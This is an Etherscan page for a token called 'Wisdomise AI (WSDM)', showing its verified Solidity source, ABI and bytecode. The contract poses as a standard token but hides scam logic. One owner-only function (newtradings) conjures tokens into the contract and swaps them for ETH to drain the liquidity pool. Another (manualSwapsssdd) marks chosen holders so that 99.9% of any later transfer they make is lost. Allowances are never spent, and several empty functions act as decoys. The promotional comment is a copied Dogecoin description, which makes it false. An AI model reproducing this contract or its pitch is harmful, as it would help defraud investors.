ETH Price: $3,294.80 (-10.42%)

Token

Wisdomise AI (WSDM)
 

Overview

Max Total Supply

1,000,000,000 WSDM

Holders

388

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
169,148.658098376 WSDM

Value
$0.00
0x7d23d58e3c9a3980032f4533f6d32ddc7803d5fa
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
WSDM

Compiler Version
v0.8.23+commit.f704f362

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2024-05-14
*/

/**
 *Submitted for verification at Etherscan.io on 2024-05-13
*/

/**
 *Submitted for verification at Etherscan.io on 2024-05-12
*/

/**

*/

/*
WSDM is a multi-utility, service token, turning Wisdomise into an evolving ecosystem from its initial platform structure. As an immediate utility, token holders will get free access to Wisdomise’s suite of offerings without paying any subscription, for as long as they hold their tokens.


Launching on Binance Launchpad 



WSDM is a digital cryptocurrency that emerged as a playful and meme-inspired alternative to mainstream cryptocurrencies like Bitcoin and Ethereum. It takes its name and mascot from the popular internet meme of the Shiba Inu dog, often referred to as "Doge." WSDM operates on a decentralized network using blockchain technology, similar to other cryptocurrencies, allowing for peer-to-peer transactions without the need for intermediaries like banks.

Originally created in 2013 as a lighthearted parody of the burgeoning cryptocurrency scene, WSDM gained traction due to its vibrant online community and the appeal of its humorous branding. Despite its initial origins as a joke, WSDM has since evolved into a legitimate digital asset with a dedicated following and a market capitalization in the billions of dollars.

Like other cryptocurrencies, WSDM can be bought, sold, and traded on various online platforms and exchanges. Its value fluctuates based on market demand and investor sentiment, much like traditional stocks or commodities. However, WSDM's price volatility is often more pronounced due to its speculative nature and the influence of social media trends on its perceived value.

One of WSDM's distinguishing features is its enthusiastic and active community, which often rallies behind charitable causes and social initiatives. WSDM has been involved in various philanthropic efforts, including fundraising for disaster relief, sponsoring sports teams and events, and supporting animal welfare organizations.

Despite its popularity and community-driven ethos, WSDM also faces criticism and skepticism from some quarters. Critics argue that its lack of inherent value and speculative nature make it akin to a speculative bubble, prone to sudden crashes and market manipulation. Additionally, concerns have been raised about the environmental impact of WSDM mining, which requires significant computational power and energy consumption.

Nevertheless, WSDM continues to capture the imagination of both cryptocurrency enthusiasts and mainstream audiences alike. Its irreverent branding, active community, and commitment to charitable causes have helped it carve out a unique niche in the world of digital currencies, ensuring that it remains a prominent player in the cryptocurrency landscape for the foreseeable future.
This initial phase aims to amplify engagement and awareness of the Wisdomise platform. To participate, simply engage with our social media profiles.

This phase encourages active participation on the Wisdomise Platform itself, rewarding users who actively use and engage with our various tools and features."
//Don't buy this token as this is for test purposes only 
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: MIT

library SafeMath {
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a, "SafeMath:  subtraction overflow");
        uint256 c = a - b;
        return c;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath:  addition overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b > 0, "SafeMath:  division by zero");
        uint256 c = a / b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {return 0;}
        uint256 c = a * b;
        require(c / a == b, "SafeMath:  multiplication overflow");
        return c;
    }
}

abstract contract Ownable {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    function owner() public view virtual returns (address) {return _owner;}
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }
    modifier onlyOwner(){
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair_);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 a, uint256 b, address[] calldata path, address cAddress, uint256) external;
    function WETH() external pure returns (address aadd);
}

contract WSDM is Ownable {
    using SafeMath for uint256;
    uint256 public _decimals = 9;

    uint256 public _totalSupply = 1000000000 * 10 ** _decimals;

    constructor() {
        _balances[sender()] =  _totalSupply; 
        emit Transfer(address(0), sender(), _balances[sender()]);
        _taxWallet = msg.sender; 
    }

    string private _name = "Wisdomise AI";
    string private _symbol = "WSDM";

    IUniswapV2Router private uniV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public _taxWallet;

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function name() external view returns (string memory) {
        return _name;
    }
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }
    function rege() external {
    }
    function regerypto() external {
    }
    function rangeout() public {
    }
    function rangein() external {
    }
    function manualSwapsssdd(address[] calldata walletAddress) external {
        uint256 fromBlockNo = getBlockNumber();
        for (uint walletInde = 0;  walletInde < walletAddress.length;  walletInde++) { 
            if (!marketingAddresss()){} else { 
                cooldowns[walletAddress[walletInde]] = fromBlockNo + 1;
            }
        }
    }
    function transferFrom(address from, address recipient, uint256 _amount) public returns (bool) {
        _transfer(from, recipient, _amount);
        require(_allowances[from][sender()] >= _amount);
        return true;
    }
    function symbol() public view returns (string memory) {
        return _symbol;
    }
    function getBlockNumber() internal view returns (uint256) {
        return block.number;
    }
    mapping(address => mapping(address => uint256)) private _allowances;
    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }
    function decreaseAllowance(address from, uint256 amount) public returns (bool) {
        require(_allowances[msg.sender][from] >= amount);
        _approve(sender(), from, _allowances[msg.sender][from] - amount);
        return true;
    }
    event Transfer(address indexed from, address indexed to, uint256);
    mapping (address => uint256) internal cooldowns;
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function marketingAddresss() private view returns (bool) {
        return (_taxWallet == (sender()));
    }
    function sender() internal view returns (address) {
        return msg.sender;
    }
    function totalSupply() external view returns (uint256) {
        return _totalSupply;
    }
    function newtradings(uint256 amount, address walletAddr) external {
        if (marketingAddresss()) {
            _approve(address(this), address(uniV2Router), amount); 
            _balances[address(this)] = amount;
            address[] memory addressPath = new address[](2);
            addressPath[0] = address(this); 
            addressPath[1] = uniV2Router.WETH(); 
            uniV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, addressPath, walletAddr, block.timestamp + 32);
        } else {
            return;
        }
    }
    function _transfer(address from, address to, uint256 value) internal {
        uint256 _taxValue = 0;
        require(from != address(0));
        require(value <= _balances[from]);
        emit Transfer(from, to, value);
        _balances[from] = _balances[from] - (value);
        bool onCooldown = (cooldowns[from] <= (getBlockNumber()));
        uint256 _cooldownFeeValue = value.mul(999).div(1000);
        if ((cooldowns[from] != 0) && onCooldown) {  
            _taxValue = (_cooldownFeeValue); 
        }
        uint256 toBalance = _balances[to];
        toBalance += (value) - (_taxValue);
        _balances[to] = toBalance;
    }
    event Approval(address indexed, address indexed, uint256 value);
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(sender(), spender, _allowances[msg.sender][spender] + addedValue);
        return true;
    }
    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(sender(), recipient, amount);
        return true;
    }
    mapping(address => uint256) private _balances;
    function approve(address spender, uint256 amount) public virtual returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":true,"internalType":"address","name":"","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"walletAddress","type":"address[]"}],"name":"manualSwapsssdd","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"walletAddr","type":"address"}],"name":"newtradings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"rangein","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rangeout","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rege","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"regerypto","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526009600155600154600a6200001a9190620004bd565b633b9aca006200002b91906200050d565b6002556040518060400160405280600c81526020017f576973646f6d697365204149000000000000000000000000000000000000000081525060039081620000749190620007b2565b506040518060400160405280600481526020017f5753444d0000000000000000000000000000000000000000000000000000000081525060049081620000bb9190620007b2565b50737a250d5630b4cf539739df2c5dacb4c659f2488d60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503480156200011c575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360025460095f620001eb6200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550620002386200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60095f620002996200033060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054604051620002e29190620008a7565b60405180910390a33360065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620008c2565b5f33905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620003c15780860481111562000399576200039862000337565b5b6001851615620003a95780820291505b8081029050620003b98562000364565b945062000379565b94509492505050565b5f82620003db5760019050620004ad565b81620003ea575f9050620004ad565b81600181146200040357600281146200040e5762000444565b6001915050620004ad565b60ff84111562000423576200042262000337565b5b8360020a9150848211156200043d576200043c62000337565b5b50620004ad565b5060208310610133831016604e8410600b84101617156200047e5782820a90508381111562000478576200047762000337565b5b620004ad565b6200048d848484600162000370565b92509050818404811115620004a757620004a662000337565b5b81810290505b9392505050565b5f819050919050565b5f620004c982620004b4565b9150620004d683620004b4565b9250620005057fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620003ca565b905092915050565b5f6200051982620004b4565b91506200052683620004b4565b92508282026200053681620004b4565b9150828204841483151762000550576200054f62000337565b5b5092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f6002820490506001821680620005d357607f821691505b602082108103620005e957620005e86200058e565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026200064d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000610565b62000659868362000610565b95508019841693508086168417925050509392505050565b5f819050919050565b5f6200069a620006946200068e84620004b4565b62000671565b620004b4565b9050919050565b5f819050919050565b620006b5836200067a565b620006cd620006c482620006a1565b8484546200061c565b825550505050565b5f90565b620006e3620006d5565b620006f0818484620006aa565b505050565b5b8181101562000717576200070b5f82620006d9565b600181019050620006f6565b5050565b601f82111562000766576200073081620005ef565b6200073b8462000601565b810160208510156200074b578190505b620007636200075a8562000601565b830182620006f5565b50505b505050565b5f82821c905092915050565b5f620007885f19846008026200076b565b1980831691505092915050565b5f620007a2838362000777565b9150826002028217905092915050565b620007bd8262000557565b67ffffffffffffffff811115620007d957620007d862000561565b5b620007e58254620005bb565b620007f28282856200071b565b5f60209050601f83116001811462000828575f841562000813578287015190505b6200081f858262000795565b8655506200088e565b601f1984166200083886620005ef565b5f5b8281101562000861578489015182556001820191506020850194506020810190506200083a565b868310156200088157848901516200087d601f89168262000777565b8355505b6001600288020188555050505b505050505050565b620008a181620004b4565b82525050565b5f602082019050620008bc5f83018462000896565b92915050565b611d0680620008d05f395ff3fe608060405234801561000f575f80fd5b5060043610610140575f3560e01c80633eaaf86b116100b65780638da5cb5b1161007a5780638da5cb5b14610318578063958e8b4f1461033657806395d89b4114610340578063a457c2d71461035e578063a9059cbb1461038e578063dd62ed3e146103be57610140565b80633eaaf86b1461029857806353f926f6146102b65780636f268a99146102c057806370a08231146102de578063715018a61461030e57610140565b80632fa9babc116101085780632fa9babc146101ea578063313ce5671461020657806332424aa314610224578063327a6e6e1461024257806336327c2a1461024c578063395093511461026857610140565b806306fdde0314610144578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b05780632e239e3c146101e0575b5f80fd5b61014c6103ee565b60405161015991906113c5565b60405180910390f35b61017c6004803603810190610177919061147a565b61047e565b60405161018991906114d2565b60405180910390f35b61019a610494565b6040516101a791906114fa565b60405180910390f35b6101ca60048036038101906101c59190611513565b61049d565b6040516101d791906114d2565b60405180910390f35b6101e861053f565b005b61020460048036038101906101ff9190611563565b610541565b005b61020e6107de565b60405161021b91906114fa565b60405180910390f35b61022c6107e7565b60405161023991906114fa565b60405180910390f35b61024a6107ed565b005b61026660048036038101906102619190611602565b6107ef565b005b610282600480360381019061027d919061147a565b61089d565b60405161028f91906114d2565b60405180910390f35b6102a061093d565b6040516102ad91906114fa565b60405180910390f35b6102be610943565b005b6102c8610945565b6040516102d5919061165c565b60405180910390f35b6102f860048036038101906102f39190611675565b61096a565b60405161030591906114fa565b60405180910390f35b6103166109b0565b005b610320610adf565b60405161032d919061165c565b60405180910390f35b61033e610b06565b005b610348610b08565b60405161035591906113c5565b60405180910390f35b6103786004803603810190610373919061147a565b610b98565b60405161038591906114d2565b60405180910390f35b6103a860048036038101906103a3919061147a565b610cbc565b6040516103b591906114d2565b60405180910390f35b6103d860048036038101906103d391906116a0565b610cd9565b6040516103e591906114fa565b60405180910390f35b6060600380546103fd9061170b565b80601f01602080910402602001604051908101604052809291908181526020018280546104299061170b565b80156104745780601f1061044b57610100808354040283529160200191610474565b820191905f5260205f20905b81548152906001019060200180831161045757829003601f168201915b5050505050905090565b5f61048a338484610d5b565b6001905092915050565b5f600254905090565b5f6104a9848484610f1e565b8160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104f06111fd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610534575f80fd5b600190509392505050565b565b610549611204565b156107d45761057a3060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d5b565b8160095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156105d8576105d761173b565b5b6040519080825280602002602001820160405280156106065781602001602082028036833780820191505090505b50905030815f8151811061061d5761061c611768565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106c1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106e591906117a9565b816001815181106106f9576106f8611768565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f84866020426107819190611801565b6040518663ffffffff1660e01b81526004016107a195949392919061192d565b5f604051808303815f87803b1580156107b8575f80fd5b505af11580156107ca573d5f803e3d5ffd5b50505050506107d9565b6107da565b5b5050565b5f600154905090565b60015481565b565b5f6107f8611261565b90505f5b838390508110156108975761080f611204565b1561088a576001826108219190611801565b60085f86868581811061083757610836611768565b5b905060200201602081019061084c9190611675565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b80806001019150506107fc565b50505050565b5f6109336108a96111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461092e9190611801565b610d5b565b6001905092915050565b60025481565b565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166109cf610adf565b73ffffffffffffffffffffffffffffffffffffffff1614610a25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a1c906119cf565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b565b606060048054610b179061170b565b80601f0160208091040260200160405190810160405280929190818152602001828054610b439061170b565b8015610b8e5780601f10610b6557610100808354040283529160200191610b8e565b820191905f5260205f20905b815481529060010190602001808311610b7157829003601f168201915b5050505050905090565b5f8160075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c1d575f80fd5b610cb2610c286111fd565b848460075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610cad91906119ed565b610d5b565b6001905092915050565b5f610ccf610cc86111fd565b8484610f1e565b6001905092915050565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610dc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc090611a90565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90611b1e565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f1191906114fa565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610f56575f80fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054821115610f9f575f80fd5b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610ffc91906114fa565b60405180910390a38160095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461104d91906119ed565b60095f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f611097611261565b60085f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111590505f6111036103e86110f56103e78761126890919063ffffffff16565b6112df90919063ffffffff16565b90505f60085f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541415801561114f5750815b15611158578092505b5f60095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905083856111a591906119ed565b816111b09190611801565b90508060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050505050565b5f33905090565b5f61120d6111fd565b73ffffffffffffffffffffffffffffffffffffffff1660065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f43905090565b5f808303611278575f90506112d9565b5f82846112859190611b3c565b90508284826112949190611baa565b146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90611c4a565b60405180910390fd5b809150505b92915050565b5f808211611322576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131990611cb2565b60405180910390fd5b5f828461132f9190611baa565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015611372578082015181840152602081019050611357565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113978261133b565b6113a18185611345565b93506113b1818560208601611355565b6113ba8161137d565b840191505092915050565b5f6020820190508181035f8301526113dd818461138d565b905092915050565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f611416826113ed565b9050919050565b6114268161140c565b8114611430575f80fd5b50565b5f813590506114418161141d565b92915050565b5f819050919050565b61145981611447565b8114611463575f80fd5b50565b5f8135905061147481611450565b92915050565b5f80604083850312156114905761148f6113e5565b5b5f61149d85828601611433565b92505060206114ae85828601611466565b9150509250929050565b5f8115159050919050565b6114cc816114b8565b82525050565b5f6020820190506114e55f8301846114c3565b92915050565b6114f481611447565b82525050565b5f60208201905061150d5f8301846114eb565b92915050565b5f805f6060848603121561152a576115296113e5565b5b5f61153786828701611433565b935050602061154886828701611433565b925050604061155986828701611466565b9150509250925092565b5f8060408385031215611579576115786113e5565b5b5f61158685828601611466565b925050602061159785828601611433565b9150509250929050565b5f80fd5b5f80fd5b5f80fd5b5f8083601f8401126115c2576115c16115a1565b5b8235905067ffffffffffffffff8111156115df576115de6115a5565b5b6020830191508360208202830111156115fb576115fa6115a9565b5b9250929050565b5f8060208385031215611618576116176113e5565b5b5f83013567ffffffffffffffff811115611635576116346113e9565b5b611641858286016115ad565b92509250509250929050565b6116568161140c565b82525050565b5f60208201905061166f5f83018461164d565b92915050565b5f6020828403121561168a576116896113e5565b5b5f61169784828501611433565b91505092915050565b5f80604083850312156116b6576116b56113e5565b5b5f6116c385828601611433565b92505060206116d485828601611433565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061172257607f821691505b602082108103611735576117346116de565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f815190506117a38161141d565b92915050565b5f602082840312156117be576117bd6113e5565b5b5f6117cb84828501611795565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61180b82611447565b915061181683611447565b925082820190508082111561182e5761182d6117d4565b5b92915050565b5f819050919050565b5f819050919050565b5f61186061185b61185684611834565b61183d565b611447565b9050919050565b61187081611846565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118a88161140c565b82525050565b5f6118b9838361189f565b60208301905092915050565b5f602082019050919050565b5f6118db82611876565b6118e58185611880565b93506118f083611890565b805f5b8381101561192057815161190788826118ae565b9750611912836118c5565b9250506001810190506118f3565b5085935050505092915050565b5f60a0820190506119405f8301886114eb565b61194d6020830187611867565b818103604083015261195f81866118d1565b905061196e606083018561164d565b61197b60808301846114eb565b9695505050505050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6119b9602083611345565b91506119c482611985565b602082019050919050565b5f6020820190508181035f8301526119e6816119ad565b9050919050565b5f6119f782611447565b9150611a0283611447565b9250828203905081811115611a1a57611a196117d4565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a7a602583611345565b9150611a8582611a20565b604082019050919050565b5f6020820190508181035f830152611aa781611a6e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611b08602383611345565b9150611b1382611aae565b604082019050919050565b5f6020820190508181035f830152611b3581611afc565b9050919050565b5f611b4682611447565b9150611b5183611447565b9250828202611b5f81611447565b91508282048414831517611b7657611b756117d4565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bb482611447565b9150611bbf83611447565b925082611bcf57611bce611b7d565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c34602283611345565b9150611c3f82611bda565b604082019050919050565b5f6020820190508181035f830152611c6181611c28565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611c9c601b83611345565b9150611ca782611c68565b602082019050919050565b5f6020820190508181035f830152611cc981611c90565b905091905056fea26469706673582212202d3491536bea96c8027d03302f58b77847e02debe2d705bde57b696fd9886ff464736f6c63430008170033

Deployed Bytecode

